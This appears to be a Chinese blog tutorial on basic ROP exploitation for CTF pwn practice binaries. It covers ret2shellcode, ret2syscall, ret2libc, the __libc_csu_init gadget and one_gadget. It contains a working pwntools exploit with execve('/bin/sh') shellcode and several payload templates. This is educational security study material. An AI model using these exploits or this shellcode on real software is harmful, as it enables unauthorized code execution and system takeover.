基本ROP
November 6, 2018 PWN 访问: 28 次
0x01 shellcode的使用
- 当pwn程序中没有执行系统命令的函数的时候,我们就需要自己写一个shellcode,目的是执行系统命令“/bin/sh”
Example1
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
- 该程序很简单,什么保护也没有开启,通过阅读伪C代码可以明显的看出存在gets栈溢出漏洞,之后还将输入的内容拷贝进了在.bss段上的buf2中,那么我们来调试一下.bss段上是否可执行代码
在GDB中运行该程序,输入vmmap即可显示该程序中某一地址处的权限
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /root/pwn/wiki/ret2shellcode
0x08049000 0x0804a000 r-xp /root/pwn/wiki/ret2shellcode
0x0804a000 0x0804b000 rwxp /root/pwn/wiki/ret2shellcode
0xf7e03000 0xf7e04000 rwxp mapped
0xf7e04000 0xf7fb1000 r-xp /lib32/libc-2.23.so
0xf7fb1000 0xf7fb2000 ---p /lib32/libc-2.23.so
0xf7fb2000 0xf7fb4000 r-xp /lib32/libc-2.23.so
0xf7fb4000 0xf7fb5000 rwxp /lib32/libc-2.23.so
0xf7fb5000 0xf7fb8000 rwxp mapped
0xf7fd4000 0xf7fd5000 rwxp mapped
0xf7fd5000 0xf7fd8000 r--p [vvar]
0xf7fd8000 0xf7fda000 r-xp [vdso]
0xf7fda000 0xf7ffc000 r-xp /lib32/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp /lib32/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp /lib32/ld-2.23.so
0xfffdd000 0xffffe000 rwxp [stack]
gdb-peda$
- buf2在0x0804A080,通过在GDB中可以看到0x0804a000的权限是RWX,可读可写可执行,这就很完美了
- 接下来就是构造payload了
- 输入的字符串含有shellcode,这样shellcode在内存中的地址就是buf2的起始地址
- 通过栈溢出把主函数的返回值覆盖成buf2的起始位置,这样我们输入的shellcode就得到执行
exp:
from pwn import *
sh = process("./ret2shellcode")
bss_addr = 0x804a080
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = shellcode + "a"*(112-len(shellcode))+p32(bss_addr)
sh.sendline(payload)
sh.interactive()
0x02 控制程序执行系统调用
- 由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用
- 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
- 其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
- 这里我们用gadgets来控制寄存器的值,具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具
- 寻找汇编指令
root@wxm-virtual-machine:~/pwn/wiki# ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
- 寻找“int”
ROPgadget --binary rop --only 'int'
- 寻找字符串
ROPgadget --binary rop --string '/bin/sh'
- 构造ROP
payload ="a"*n + pop_eax_ret_addr + 0xb + pop_edx_ecx_ebx_ret + 0 + 0 + binsh + int_0x80
控制函数执行libc中的函数
- 想要更好的理解这里,那么就得先学会动态链接的、plt/got表,这里不再详细的解释,回头特别总结一下
- 要想控制函数执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)
- 执行libc中的函数分为两种,第一种是已知我们需要的函数在got表中的位置,第二种则是不知道我们需要的函数在got表中的值
第一种情况(system函数的位置已知)
- 存在_system函数,并且存在“/bin/sh”字符串
- payload构造方法:
payload = "a"*n+system_plt_addr + [system_ret_addr]/"a"*4 + binsh_addr
- 这种构造方法仅限于32位的ELF可执行文件,64位的程序给函数传递参数的方式与32位的不一样
第二种情况(system、gets函数的位置已知)
- 存在 _system,但是没有“/bin/sh”字符串,那么这个时候我们就要自己想办法来输入一个字符串为“/bin/sh”,那么我们就有用到了 _gets 函数
- payload构造方法:
# buf是一个全局变量
payload = "a"*n + _gets_plt_addr + pop_eax_ret_addr + buf2 + system_plt_addr + [system_ret_addr]/"a"*4 + binsh_addr
- 我在看这里的时候有踩过坑,就是不知道为什么要用到pop_ eax_ ret,然后请教大佬,才明白,当我们调用过gets函数的时候,我们输入的字符串还在栈上,那么我们用pop_eax来把这个字符串给取出来,然后ret到system的地址上,从而执行了shell
第三种情况(system函数的位置未知)
- 这种情况下,我们就要通过 libc.so(动态链接库)来获取我们想要的函数的真是地址
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 关系:
graph LR
plt中存放着got位置-->got中存放着函数的位置
- 其次是题目有无提供的libc.so文件,如果题目提供了的话,可以用以下方法:
- got表中存放的函数位置是已经偏移过的函数库中的位置
- libc基地址 = got中存放的地址 - libc.so 文件中的相对应的函数的位置
- system_addr = 基地址 + system在so文件中的地址
- 如果题目没有提供libc.so文件,那么我们就要通过泄露地址来获取我们想要的函数的地址,方法有
- 通过searchlibc这个工具来查找;(这种方法由于自己能力原因,没有调试好工具,所以也没能够实现)
- 通过pwntools中的DynELF方法来泄露libc中的地址;(这种方法会在后面具体描述,此处不再作过多解释)
一些特殊的gadgets
一、
- 第一个gadget经常被称作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init中
.text:0000000000400840 public __libc_csu_init
.text:0000000000400840 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400840 ; __unwind {
.text:0000000000400840 push r15
.text:0000000000400842 mov r15d, edi
.text:0000000000400845 push r14
.text:0000000000400847 mov r14, rsi
.text:000000000040084A push r13
.text:000000000040084C mov r13, rdx
.text:000000000040084F push r12
.text:0000000000400851 lea r12, __frame_dummy_init_array_entry
.text:0000000000400858 push rbp
.text:0000000000400859 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400860 push rbx
.text:0000000000400861 sub rbp, r12
.text:0000000000400864 xor ebx, ebx
.text:0000000000400866 sar rbp, 3
.text:000000000040086A sub rsp, 8
.text:000000000040086E call _init_proc
.text:0000000000400873 test rbp, rbp
.text:0000000000400876 jz short loc_400896
.text:0000000000400878 nop dword ptr [rax+rax+00000000h]
.text:0000000000400880
.text:0000000000400880 loc_400880: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880 mov rdx, r13
.text:0000000000400883 mov rsi, r14
.text:0000000000400886 mov edi, r15d
.text:0000000000400889 call qword ptr [r12+rbx*8]
.text:000000000040088D add rbx, 1
.text:0000000000400891 cmp rbx, rbp
.text:0000000000400894 jnz short loc_400880
.text:0000000000400896
.text:0000000000400896 loc_400896: ; CODE XREF: __libc_csu_init+36↑j
.text:0000000000400896 add rsp, 8
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
.text:00000000004008A4 ; } // starts at 400840
.text:00000000004008A4 __libc_csu_init endp
- 从这个函数中我们可以发现两个gadget,
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
3.
pop rdi;
retn
- 这个我做一个解释,这两天指令并不是在这个函数里面直接有的,而是通过pop r15,retn;转变过来的,我们可以通过IDA中D快捷键把指令变成机器码,再让后两个结合成为一条指令,然后就变成了第三个的指令啦
我们知道64位程序通过参数来进行转参的,通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈
以上三个gadgets中,第一个可以设置r12-r15,接上第三个使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一个地址。 需要注意的是,用万能gadgets的时候需要设置rbp=1,因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误二、
- 第二种方法被称为one gadget RCE
- 条件:
- 需要一个对应环境的libc
- one_gadget
用法:
- 首先要泄露出一个函数在got中的偏移过后的地址,然后计算出偏移地址
- 然后通过one_gadget工具进行查找
root@wxm-virtual-machine:~/pwn/i春秋/0x03# one_gadget libc.so.6_x64
0x45526 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4557a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf1651 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xf24cb execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
- 然后计算出execve在内存中的真实地址,然后进行getshell